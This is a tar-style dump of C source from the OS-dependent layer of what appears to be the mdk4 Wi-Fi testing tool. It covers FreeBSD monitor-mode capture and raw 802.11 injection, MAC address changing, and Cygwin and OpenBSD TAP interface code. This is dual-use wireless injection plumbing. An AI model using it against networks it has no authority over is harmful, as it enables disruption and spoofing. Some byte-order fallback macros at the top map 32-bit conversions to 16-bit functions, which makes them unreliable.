be32toh #define be32toh be32_to_cpu #endif #ifndef htons #define htons be16_to_cpu #endif #ifndef htonl #define htonl cpu_to_be16 #endif #ifndef ntohs #define ntohs cpu_to_be16 #endif #ifndef ntohl #define ntohl cpu_to_be32 #endif #endif mdk4-master/src/osdep/freebsd.c0000644000175000017500000003261513525065636017463 0ustar samuelophsamueloph /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for FreeBSD. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" struct priv_fbsd { /* iface */ int pf_fd; /* rx */ int pf_nocrc; /* tx */ unsigned char pf_buf[4096]; unsigned char *pf_next; int pf_totlen; struct ieee80211_bpf_params pf_txparams; /* setchan */ int pf_s; struct ifreq pf_ifr; struct ieee80211req pf_ireq; int pf_chan; }; /* from ifconfig */ static __inline int mapgsm(u_int freq, u_int flags) { freq *= 10; if (flags & IEEE80211_CHAN_QUARTER) freq += 5; else if (flags & IEEE80211_CHAN_HALF) freq += 10; else freq += 20; /* NB: there is no 907/20 wide but leave room */ return (freq - 906*10) / 5; } static __inline int mappsb(u_int freq) { return 37 + ((freq * 10) + ((freq % 5) == 2 ? 5 : 0) - 49400) / 5; } /* * Convert MHz frequency to IEEE channel number. */ static u_int ieee80211_mhz2ieee(u_int freq, u_int flags) { if ((flags & IEEE80211_CHAN_GSM) || (907 <= freq && freq <= 922)) return mapgsm(freq, flags); if (freq == 2484) return 14; if (freq < 2484) return (freq - 2407) / 5; if (freq < 5000) { if (flags & (IEEE80211_CHAN_HALF|IEEE80211_CHAN_QUARTER)) return mappsb(freq); else if (freq > 4900) return (freq - 4000) / 5; else return 15 + ((freq - 2512) / 20); } return (freq - 5000) / 5; } /* end of ifconfig */ static void get_radiotap_info(struct priv_fbsd *pf, struct ieee80211_radiotap_header *rth, int *plen, struct rx_info *ri) { uint32_t present; uint8_t rflags = 0; int i; unsigned char *body = (unsigned char*) (rth+1); int dbm_power = 0, db_power = 0; /* reset control info */ if (ri) memset(ri, 0, sizeof(*ri)); /* get info */ present = le32toh(rth->it_present); for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++) { if (!(present & (1 << i))) continue; switch (i) { case IEEE80211_RADIOTAP_TSFT: body += sizeof(uint64_t); break; case IEEE80211_RADIOTAP_FLAGS: rflags = *((uint8_t*)body); /* fall through */ case IEEE80211_RADIOTAP_RATE: body += sizeof(uint8_t); break; case IEEE80211_RADIOTAP_CHANNEL: if (ri) { uint16_t *p = (uint16_t*) body; int c = ieee80211_mhz2ieee(*p, *(p+1)); ri->ri_channel = c; } body += sizeof(uint16_t)*2; break; case IEEE80211_RADIOTAP_FHSS: body += sizeof(uint16_t); break; case IEEE80211_RADIOTAP_DBM_ANTSIGNAL: dbm_power = *body++; break; case IEEE80211_RADIOTAP_DBM_ANTNOISE: dbm_power -= *body++; break; case IEEE80211_RADIOTAP_DB_ANTSIGNAL: db_power = *body++; break; case IEEE80211_RADIOTAP_DB_ANTNOISE: db_power -= *body++; break; default: i = IEEE80211_RADIOTAP_EXT+1; break; } } /* set power */ if (ri) { if (dbm_power) ri->ri_power = dbm_power; else ri->ri_power = db_power; } /* XXX cache; drivers won't change this per-packet */ /* check if FCS/CRC is included in packet */ if (pf->pf_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) { *plen -= IEEE80211_CRC_LEN; pf->pf_nocrc = 1; } } static unsigned char *get_80211(struct priv_fbsd *pf, int *plen, struct rx_info *ri) { struct bpf_hdr *bpfh; struct ieee80211_radiotap_header *rth; void *ptr; unsigned char **data; int *totlen; data = &pf->pf_next; totlen = &pf->pf_totlen; assert(*totlen); /* bpf hdr */ bpfh = (struct bpf_hdr*) (*data); assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */ *totlen -= bpfh->bh_hdrlen; /* check if more packets */ if ((int)bpfh->bh_caplen < *totlen) { int tot = bpfh->bh_hdrlen + bpfh->bh_caplen; int offset = BPF_WORDALIGN(tot); *data = (unsigned char*)bpfh + offset; *totlen -= offset - tot; /* take into account align bytes */ } else if ((int)bpfh->bh_caplen > *totlen) abort(); *plen = bpfh->bh_caplen; *totlen -= bpfh->bh_caplen; assert(*totlen >= 0); /* radiotap */ rth = (struct ieee80211_radiotap_header*) ((char*)bpfh + bpfh->bh_hdrlen); get_radiotap_info(pf, rth, plen, ri); *plen -= rth->it_len; assert(*plen > 0); /* data */ ptr = (char*)rth + rth->it_len; return ptr; } static int fbsd_get_channel(struct wif *wi) { struct priv_fbsd *pf = wi_priv(wi); if(ioctl(pf->pf_s, SIOCG80211, &pf->pf_ireq) != 0) return -1; return pf->pf_ireq.i_val; } static int fbsd_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_fbsd *pf = wi_priv(wi); unsigned char *wh; int plen; assert(len > 0); /* need to read more */ if (pf->pf_totlen == 0) { pf->pf_totlen = read(pf->pf_fd, pf->pf_buf, sizeof(pf->pf_buf)); if (pf->pf_totlen == -1) { pf->pf_totlen = 0; return -1; } pf->pf_next = pf->pf_buf; } /* read 802.11 packet */ wh = get_80211(pf, &plen, ri); if (plen > len) plen = len; assert(plen > 0); memcpy(h80211, wh, plen); if(ri && !ri->ri_channel) ri->ri_channel = wi_get_channel(wi); return plen; } static int fbsd_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { struct iovec iov[2]; struct priv_fbsd *pf = wi_priv(wi); int rc; /* XXX make use of ti */ if (ti) {} iov[0].iov_base = &pf->pf_txparams; iov[0].iov_len = pf->pf_txparams.ibp_len; iov[1].iov_base = h80211; iov[1].iov_len = len; rc = writev(pf->pf_fd, iov, 2); if (rc == -1) return rc; if (rc < (int) iov[0].iov_len) return 0; return rc - iov[0].iov_len; } static int fbsd_set_channel(struct wif *wi, int chan) { struct priv_fbsd *pf = wi_priv(wi); pf->pf_ireq.i_val = chan; if( ioctl(pf->pf_s, SIOCS80211, &pf->pf_ireq) != 0 ) return -1; pf->pf_chan = chan; return 0; } static void do_free(struct wif *wi) { assert(wi->wi_priv); free(wi->wi_priv); wi->wi_priv = 0; free(wi); } static void fbsd_close(struct wif *wi) { struct priv_fbsd *pf = wi_priv(wi); close(pf->pf_fd); close(pf->pf_s); do_free(wi); } static int do_fbsd_open(struct wif *wi, char *iface) { int i; char buf[64]; int fd = -1; struct ifreq ifr; unsigned int dlt = DLT_IEEE802_11_RADIO; int s; unsigned int flags; struct ifmediareq ifmr; int *mwords; struct priv_fbsd *pf = wi_priv(wi); /* basic sanity check */ if (strlen(iface) >= sizeof(ifr.ifr_name)) return -1; /* open wifi */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) return -1; pf->pf_s = s; /* set iface up and promisc */ memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, iface); if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) goto close_sock; flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16); flags |= IFF_UP | IFF_PPROMISC; memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, iface); ifr.ifr_flags = flags & 0xffff; ifr.ifr_flagshigh = flags >> 16; if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) goto close_sock; /* monitor mode */ memset(&ifmr, 0, sizeof(ifmr)); strcpy(ifmr.ifm_name, iface); if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) goto close_sock; assert(ifmr.ifm_count != 0); mwords = (int *)malloc(ifmr.ifm_count * sizeof(int)); if (!mwords) goto close_sock; ifmr.ifm_ulist = mwords; if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) { free(mwords); goto close_sock; } free(mwords); memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, iface); ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR; if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) goto close_sock; /* setup ifreq for chan that may be used in future */ strcpy(pf->pf_ireq.i_name, iface); pf->pf_ireq.i_type = IEEE80211_IOC_CHANNEL; /* same for ifreq [mac addr] */ strcpy(pf->pf_ifr.ifr_name, iface); /* open bpf */ for(i = 0; i < 256; i++) { sprintf(buf, "/dev/bpf%d", i); fd = open(buf, O_RDWR); if(fd < 0) { if(errno != EBUSY) return -1; continue; } else break; } if(fd < 0) goto close_sock; strcpy(ifr.ifr_name, iface); if(ioctl(fd, BIOCSETIF, &ifr) < 0) goto close_bpf; if (ioctl(fd, BIOCSDLT, &dlt) < 0) goto close_bpf; dlt = 1; if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1) goto close_bpf; return fd; close_sock: close(s); return -1; close_bpf: close(fd); goto close_sock; } static int fbsd_fd(struct wif *wi) { struct priv_fbsd *pf = wi_priv(wi); return pf->pf_fd; } static int fbsd_get_mac(struct wif *wi, unsigned char *mac) { struct ifaddrs *ifa, *p; char *name = wi_get_ifname(wi); int rc = -1; struct sockaddr_dl* sdp; if (getifaddrs(&ifa) == -1) return -1; p = ifa; while (p) { if (p->ifa_addr->sa_family == AF_LINK && strcmp(name, p->ifa_name) == 0) { sdp = (struct sockaddr_dl*) p->ifa_addr; memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6); rc = 0; break; } p = p->ifa_next; } freeifaddrs(ifa); return rc; } static int fbsd_get_monitor(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 0; } static int fbsd_get_rate(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 1000000; } static int fbsd_set_rate(struct wif *wi, int rate) { if (wi || rate) {} /* XXX unused */ /* XXX */ return 0; } static int fbsd_set_mac(struct wif *wi, unsigned char *mac) { struct priv_fbsd *priv = wi_priv(wi); struct ifreq *ifr = &priv->pf_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(priv->pf_s, SIOCSIFLLADDR, ifr); } static struct wif *fbsd_open(char *iface) { struct wif *wi; struct priv_fbsd *pf; int fd; /* setup wi struct */ wi = wi_alloc(sizeof(*pf)); if (!wi) return NULL; wi->wi_read = fbsd_read; wi->wi_write = fbsd_write; wi->wi_set_channel = fbsd_set_channel; wi->wi_get_channel = fbsd_get_channel; wi->wi_close = fbsd_close; wi->wi_fd = fbsd_fd; wi->wi_get_mac = fbsd_get_mac; wi->wi_set_mac = fbsd_set_mac; wi->wi_get_rate = fbsd_get_rate; wi->wi_set_rate = fbsd_set_rate; wi->wi_get_monitor = fbsd_get_monitor; /* setup iface */ fd = do_fbsd_open(wi, iface); if (fd == -1) { do_free(wi); return NULL; } /* setup private state */ pf = wi_priv(wi); pf->pf_fd = fd; pf->pf_txparams.ibp_vers = IEEE80211_BPF_VERSION; pf->pf_txparams.ibp_len = sizeof(struct ieee80211_bpf_params) - 6; pf->pf_txparams.ibp_rate1 = 2; /* 1 MB/s XXX */ pf->pf_txparams.ibp_try1 = 1; /* no retransmits */ pf->pf_txparams.ibp_flags = IEEE80211_BPF_NOACK; pf->pf_txparams.ibp_power = 100; /* nominal max */ pf->pf_txparams.ibp_pri = WME_AC_VO; /* high priority */ return wi; } struct wif *wi_open_osdep(char *iface) { return fbsd_open(iface); } int get_battery_state(void) { #if defined(__FreeBSD__) || defined(__FreeBSD_kernel__) int value; size_t len; len = 4; value = 0; sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0); if (value == 0) { sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0); value = value * 60; } else { value = 0; } return( value ); #elif defined(_BSD_SOURCE) struct apm_power_info api; int apmfd; if ((apmfd = open("/dev/apm", O_RDONLY)) < 0) return 0; if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0) { close(apmfd); return 0; } close(apmfd); if (api.battery_state == APM_BATT_UNKNOWN || api.battery_state == APM_BATTERY_ABSENT || api.battery_state == APM_BATT_CHARGING || api.ac_state == APM_AC_ON) { return 0; } return ((int)(api.minutes_left))*60; #else return 0; #endif } mdk4-master/src/osdep/cygwin_tap.c0000644000175000017500000003111313525065636020205 0ustar samuelophsamueloph /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for cygwin. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ #include #include #include #include #include #include #include "osdep.h" #include #include #include #include #include #include #include "network.h" #include "tap-win32/common.h" extern DWORD WINAPI GetAdaptersInfo(PIP_ADAPTER_INFO pAdapterInfo,PULONG pOutBufLen); extern DWORD WINAPI AddIPAddress(IPAddr Address,IPMask IpMask,DWORD IfIndex,PULONG NTEContext,PULONG NTEInstance); extern DWORD WINAPI DeleteIPAddress(ULONG NTEContext); extern int cygwin_read_reader(int fd, int plen, void *dst, int len); static void *ti_reader(void *arg); struct tip_cygwin { char tc_name[MAX_IFACE_NAME]; HANDLE tc_h; pthread_t tc_reader; volatile int tc_running; int tc_pipe[2]; /* reader -> parent */ pthread_mutex_t tc_mtx; HKEY tc_key; char tc_guid[256]; }; /** * Stop the reader thread (if it is running) * @return 0 if stopped or -1 if it failed to stop it */ static int stop_reader(struct tip_cygwin *priv) { if (priv->tc_running == 1) { int tries = 3; priv->tc_running = 0; while ((priv->tc_running != -1) && tries--) sleep(1); if (tries <= 0) return -1; } return 0; } /** * Start reader thread * @return -1 if failed to start thread or 0 if it is successful */ static int start_reader(struct tip_cygwin *priv) { priv->tc_running = 2; if (pthread_create(&priv->tc_reader, NULL, ti_reader, priv)) return -1; priv->tc_running = 1; return 0; } /** * Change status (enable/disable) of the device */ static int ti_media_status(struct tip_cygwin *priv, int on) { ULONG s = on; DWORD len; if (!DeviceIoControl(priv->tc_h, TAP_IOCTL_SET_MEDIA_STATUS, &s, sizeof(s), &s, sizeof(s), &len, NULL)) return -1; return 0; } /** * Try opening device */ static int ti_try_open(struct tip_cygwin *priv, char *guid) { int any = priv->tc_guid[0] == 0; char device[256]; HANDLE h; if (!any && strcmp(priv->tc_guid, guid) != 0) return 0; /* open the device */ snprintf(device, sizeof(device), "%s%s%s", USERMODEDEVICEDIR, guid, TAPSUFFIX); h = CreateFile(device, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM | FILE_FLAG_OVERLAPPED, 0); if (h == INVALID_HANDLE_VALUE) { if (any) return 0; else return -1; } priv->tc_h = h; /* XXX check tap version */ /* bring iface up */ if (ti_media_status(priv, 1) == -1) return -1; /* XXX grab printable name */ snprintf(priv->tc_name, sizeof(priv->tc_name)-1, "%s", guid); if (any) snprintf(priv->tc_guid, sizeof(priv->tc_guid), "%s", guid); return 1; } /** * Read registry value * @param key Registry key * @return 0 if successful, -1 if it failed */ static int ti_read_reg(struct tip_cygwin *priv, char *key, char *res, int len) { DWORD dt, l = len; if (RegQueryValueEx(priv->tc_key, key, NULL, &dt, (unsigned char*) res, &l) != ERROR_SUCCESS) return -1; if (dt != REG_SZ) return -1; if ((int)l > len) return -1; return 0; } static int ti_get_devs_component(struct tip_cygwin *priv, char *name) { char key[256]; int rc = 0; snprintf(key, sizeof(key)-1, "%s\\%s", ADAPTER_KEY, name); if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, 0, KEY_READ | KEY_WRITE, &priv->tc_key) != ERROR_SUCCESS) return -1; if (ti_read_reg(priv, "ComponentId", key, sizeof(key)) == -1) goto out; /* make sure component id matches */ if (strcmp(key, TAP_COMPONENT_ID) != 0) goto out; /* get guid */ if (ti_read_reg(priv, "NetCfgInstanceId", key, sizeof(key)) == -1) goto out; rc = ti_try_open(priv, key); out: if (rc != 1) { RegCloseKey(priv->tc_key); priv->tc_key = 0; } return rc; } static int ti_do_open_cygwin(struct tip_cygwin *priv) { int rc = -1; HKEY ak47; int i; char name[256]; DWORD len; /* open network driver key */ if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, ADAPTER_KEY, 0, KEY_READ, &ak47) != ERROR_SUCCESS) return -1; /* find tap */ for (i = 0;; i++) { len = sizeof(name); if (RegEnumKeyEx(ak47, i, name, &len, NULL, NULL, NULL, NULL) != ERROR_SUCCESS) break; rc = ti_get_devs_component(priv, name); if (rc) break; rc = -1; } RegCloseKey(ak47); if (rc == 1) rc = 0; return rc; } static void ti_do_free(struct tif *ti) { struct tip_cygwin *priv = ti_priv(ti); /* stop reader */ stop_reader(priv); if (priv->tc_pipe[0]) { close(priv->tc_pipe[0]); close(priv->tc_pipe[1]); } /* close card */ if (priv->tc_h) { ti_media_status(priv, 0); CloseHandle(priv->tc_h); } if (priv->tc_key) RegCloseKey(priv->tc_key); free(priv); free(ti); } static void ti_close_cygwin(struct tif *ti) { ti_do_free(ti); } static char *ti_name_cygwin(struct tif *ti) { struct tip_cygwin *priv = ti_priv(ti); return priv->tc_name; } /* XXX */ static int ti_is_us(struct tip_cygwin *priv, HDEVINFO *hdi, SP_DEVINFO_DATA *did) { char buf[256]; DWORD len = sizeof(buf), dt; if (priv) {} /* XXX unused */ if (!SetupDiGetDeviceRegistryProperty(*hdi, did, SPDRP_DEVICEDESC, &dt, (unsigned char*)buf, len, &len)) return 0; if (dt != REG_SZ) return 0; return strstr(buf, "TAP-Win32") != NULL; } static int ti_reset_state(HDEVINFO *hdi, SP_DEVINFO_DATA *did, DWORD state) { SP_PROPCHANGE_PARAMS parm; parm.ClassInstallHeader.cbSize = sizeof(parm.ClassInstallHeader); parm.ClassInstallHeader.InstallFunction = DIF_PROPERTYCHANGE; parm.Scope = DICS_FLAG_GLOBAL; parm.StateChange = state; if (!SetupDiSetClassInstallParams(*hdi, did, (SP_CLASSINSTALL_HEADER*) &parm, sizeof(parm))) return -1; if (!SetupDiCallClassInstaller(DIF_PROPERTYCHANGE, *hdi, did)) return -1; return 0; } /** * Reset the device * @return 0 if successful, -1 if it failed */ static int ti_do_reset(HDEVINFO *hdi, SP_DEVINFO_DATA *did) { int rc; rc = ti_reset_state(hdi, did, DICS_DISABLE); if (rc) return rc; return ti_reset_state(hdi, did, DICS_ENABLE); } static int ti_restart(struct tip_cygwin *priv) { /* kill handle to if */ if (priv->tc_h) CloseHandle(priv->tc_h); /* stop reader */ if (stop_reader(priv)) return -1; /* reopen dev */ if (ti_do_open_cygwin(priv)) return -1; return start_reader(priv); } static int ti_reset(struct tip_cygwin *priv) { HDEVINFO hdi; SP_DEVINFO_DATA did; int i; int rc = -1; hdi = SetupDiGetClassDevs(&GUID_DEVCLASS_NET, NULL, NULL, DIGCF_PRESENT); if (hdi == INVALID_HANDLE_VALUE) return -1; /* find device */ for (i = 0;; i++) { did.cbSize = sizeof(did); if (!SetupDiEnumDeviceInfo(hdi, i, &did)) break; if (!ti_is_us(priv, &hdi, &did)) continue; rc = ti_do_reset(&hdi, &did); if (rc) break; rc = ti_restart(priv); break; } SetupDiDestroyDeviceInfoList(hdi); return rc; } static int ti_set_mtu_cygwin(struct tif *ti, int mtu) { struct tip_cygwin *priv = ti_priv(ti); char m[16]; char mold[sizeof(m)]; char *key = "MTU"; /* check if reg remains unchanged to avoid reset */ snprintf(m, sizeof(m)-1, "%d", mtu); if (ti_read_reg(priv, key, mold, sizeof(mold)) != -1) { if (strcmp(m, mold) == 0) return 0; } /* change */ if (RegSetValueEx(priv->tc_key, key, 0, REG_SZ, (unsigned char *) m, strlen(m)+1) != ERROR_SUCCESS) return -1; if (ti_reset(priv) == -1) return -1; return 0; } /** * Set device MAC address * @param mac New MAC address * @return -1 if it failed, 0 on success */ static int ti_set_mac_cygwin(struct tif *ti, unsigned char *mac) { struct tip_cygwin *priv = ti_priv(ti); char str[2*6+1]; char strold[sizeof(str)]; int i; char *key = "MAC"; /* convert */ str[0] = 0; for (i = 0; i < 6; i++) { char tmp[3]; if (sprintf(tmp, "%.2X", *mac++) != 2) return -1; strcat(str, tmp); } /* check if changed */ if (ti_read_reg(priv, key, strold, sizeof(strold)) != -1) { if (strcmp(str, strold) == 0) return 0; } /* own */ if (RegSetValueEx(priv->tc_key, key, 0, REG_SZ, (unsigned char *)str, strlen(str)+1) != ERROR_SUCCESS) return -1; if (ti_reset(priv) == -1) return -1; return 0; } /** * Set device IP address * @param ip New IP address * @return -1 if it failed, 0 on success */ static int ti_set_ip_cygwin(struct tif *ti, struct in_addr *ip) { struct tip_cygwin *priv = ti_priv(ti); ULONG ctx, inst; IP_ADAPTER_INFO ai[16]; DWORD len = sizeof(ai); PIP_ADAPTER_INFO p; PIP_ADDR_STRING ips; if (GetAdaptersInfo(ai, &len) != ERROR_SUCCESS) return -1; p = ai; while (p) { if (strcmp(priv->tc_guid, p->AdapterName) != 0) { p = p->Next; continue; } /* delete ips */ ips = &p->IpAddressList; while (ips) { DeleteIPAddress(ips->Context); ips = ips->Next; } /* add ip */ if (AddIPAddress(ip->s_addr, htonl(0xffffff00), p->Index, &ctx, &inst) != NO_ERROR) return -1; break; } return 0; } static int ti_fd_cygwin(struct tif *ti) { struct tip_cygwin *priv = ti_priv(ti); return priv->tc_pipe[0]; } static int ti_read_cygwin(struct tif *ti, void *buf, int len) { struct tip_cygwin *priv = ti_priv(ti); int plen; if (priv->tc_running != 1) return -1; /* read len */ if (net_read_exact(priv->tc_pipe[0], &plen, sizeof(plen)) == -1) return -1; return cygwin_read_reader(priv->tc_pipe[0], plen, buf, len); } static int ti_wait_complete(struct tip_cygwin *priv, OVERLAPPED *o) { DWORD sz; if (!GetOverlappedResult(priv->tc_h, o, &sz, TRUE)) return -1; return sz; } static int ti_do_io(struct tip_cygwin *priv, void *buf, int len, OVERLAPPED *o, int wr) { BOOL rc; DWORD sz; int err; /* setup overlapped */ memset(o, 0, sizeof(*o)); /* do io */ if (wr) rc = WriteFile(priv->tc_h, buf, len, &sz, o); else rc = ReadFile(priv->tc_h, buf, len, &sz, o); /* done */ if (rc) return sz; if ((err = GetLastError()) != ERROR_IO_PENDING) return -1; return 0; /* pending */ } static int ti_do_io_lock(struct tip_cygwin *priv, void *buf, int len, OVERLAPPED *o, int wr) { int rc; if (pthread_mutex_lock(&priv->tc_mtx)) return -1; rc = ti_do_io(priv, buf, len, o, wr); if (pthread_mutex_unlock(&priv->tc_mtx)) return -1; /* done */ if (rc) return rc; return ti_wait_complete(priv, o); } static int ti_write_cygwin(struct tif *ti, void *buf, int len) { struct tip_cygwin *priv = ti_priv(ti); OVERLAPPED o; return ti_do_io_lock(priv, buf, len, &o, 1); } static int ti_read_packet(struct tip_cygwin *priv, void *buf, int len) { OVERLAPPED o; int rc; while (priv->tc_running) { rc = ti_do_io_lock(priv, buf, len, &o, 0); if (rc) return rc; } return -1; } static void *ti_reader(void *arg) { struct tip_cygwin *priv = arg; unsigned char buf[2048]; int len; while (priv->tc_running) { /* read a packet */ if ((len = ti_read_packet(priv, buf, sizeof(buf))) == -1) break; assert(len > 0); /* write it's length */ if (write(priv->tc_pipe[1], &len, sizeof(len)) != sizeof(len)) break; /* write payload */ if (write(priv->tc_pipe[1], buf, len) != len) break; } priv->tc_running = -1; return NULL; } static struct tif *ti_open_cygwin(char *iface) { struct tif *ti; struct tip_cygwin *priv; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; priv = ti_priv(ti); ti->ti_name = ti_name_cygwin; ti->ti_set_mtu = ti_set_mtu_cygwin; ti->ti_close = ti_close_cygwin; ti->ti_fd = ti_fd_cygwin; ti->ti_read = ti_read_cygwin; ti->ti_write = ti_write_cygwin; ti->ti_set_mac = ti_set_mac_cygwin; ti->ti_set_ip = ti_set_ip_cygwin; /* setup iface */ if (iface) snprintf(priv->tc_guid, sizeof(priv->tc_guid), "%s", iface); if (ti_do_open_cygwin(priv) == -1) goto err; /* setup reader */ if (pipe(priv->tc_pipe) == -1) goto err; if (pthread_mutex_init(&priv->tc_mtx, NULL)) goto err; /* launch reader */ if (start_reader(priv)) goto err; return ti; err: ti_do_free(ti); return NULL; } struct tif *ti_open(char *iface) { return ti_open_cygwin(iface); } mdk4-master/src/osdep/openbsd_tap.c0000644000175000017500000001120313525065636020335 0ustar samuelophsamueloph /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for OpenBSD. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" struct tip_obsd { int to_fd; int to_ioctls; struct ifreq to_ifr; char to_name[MAX_IFACE_NAME]; int to_destroy; }; static int ti_do_open_obsd(struct tif *ti, char *name) { int fd; char *iface = "/dev/tap"; struct stat st; struct tip_obsd *priv = ti_priv(ti); int s; unsigned int flags; struct ifreq *ifr; /* open tap */ if (name) iface = name; else priv->to_destroy = 1; /* we create, we destroy */ fd = open(iface, O_RDWR); if (fd == -1) return -1; /* get name */ if(fstat(fd, &st) == -1) goto err; snprintf(priv->to_name, sizeof(priv->to_name)-1, "%s", devname(st.st_rdev, S_IFCHR)); /* bring iface up */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) goto err; priv->to_ioctls = s; /* get flags */ ifr = &priv->to_ifr; memset(ifr, 0, sizeof(*ifr)); snprintf(ifr->ifr_name, sizeof(ifr->ifr_name)-1, "%s", priv->to_name); if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2; flags = ifr->ifr_flags; /* set flags */ flags |= IFF_UP; ifr->ifr_flags = flags & 0xffff; if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2; return fd; err: /* XXX destroy */ close(fd); return -1; err2: close(s); goto err; } static void ti_do_free(struct tif *ti) { struct tip_obsd *priv = ti_priv(ti); free(priv); free(ti); } static void ti_destroy(struct tip_obsd *priv) { ioctl(priv->to_ioctls, SIOCIFDESTROY, &priv->to_ifr); } static void ti_close_obsd(struct tif *ti) { struct tip_obsd *priv = ti_priv(ti); if (priv->to_destroy) ti_destroy(priv); close(priv->to_fd); close(priv->to_ioctls); ti_do_free(ti); } static char *ti_name_obsd(struct tif *ti) { struct tip_obsd *priv = ti_priv(ti); return priv->to_name; } static int ti_set_mtu_obsd(struct tif *ti, int mtu) { struct tip_obsd *priv = ti_priv(ti); priv->to_ifr.ifr_mtu = mtu; return ioctl(priv->to_ioctls, SIOCSIFMTU, &priv->to_ifr); } static int ti_set_mac_obsd(struct tif *ti, unsigned char *mac) { struct tip_obsd *priv = ti_priv(ti); struct ifreq *ifr = &priv->to_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(priv->to_ioctls, SIOCSIFLLADDR, ifr); } static int ti_set_ip_obsd(struct tif *ti, struct in_addr *ip) { struct tip_obsd *priv = ti_priv(ti); struct ifaliasreq ifra; struct sockaddr_in *s_in; /* assume same size */ memset(&ifra, 0, sizeof(ifra)); strncpy(ifra.ifra_name, priv->to_ifr.ifr_name, IFNAMSIZ); s_in = (struct sockaddr_in *) &ifra.ifra_addr; s_in->sin_family = PF_INET; s_in->sin_addr = *ip; s_in->sin_len = sizeof(*s_in); return ioctl(priv->to_ioctls, SIOCAIFADDR, &ifra); } static int ti_fd_obsd(struct tif *ti) { struct tip_obsd *priv = ti_priv(ti); return priv->to_fd; } static int ti_read_obsd(struct tif *ti, void *buf, int len) { return read(ti_fd(ti), buf, len); } static int ti_write_obsd(struct tif *ti, void *buf, int len) { return write(ti_fd(ti), buf, len); } static struct tif *ti_open_obsd(char *iface) { struct tif *ti; struct tip_obsd *priv; int fd; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; ti->ti_name = ti_name_obsd; ti->ti_set_mtu = ti_set_mtu_obsd; ti->ti_close = ti_close_obsd; ti->ti_fd = ti_fd_obsd; ti->ti_read = ti_read_obsd; ti->ti_write = ti_write_obsd; ti->ti_set_mac = ti_set_mac_obsd; ti->ti_set_ip = ti_set_ip_obsd; /* setup iface */ fd = ti_do_open_obsd(ti, iface); if (fd == -1) { ti_do_free(ti); return NULL; } /* setup private state */ priv = ti_priv(ti); priv->to_fd = fd; return ti; } struct tif *ti_open(char *iface) { return ti_open_obsd(iface); } mdk4-master/src/osdep/darwin.c0000644000175000017500000000231113525065636017323 0ustar samuelophsamueloph /* * Copyright (c) 2009, Kyle Fuller , based upon * freebsd.c by Andrea Bittau * * OS dependent API for Darwin. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT 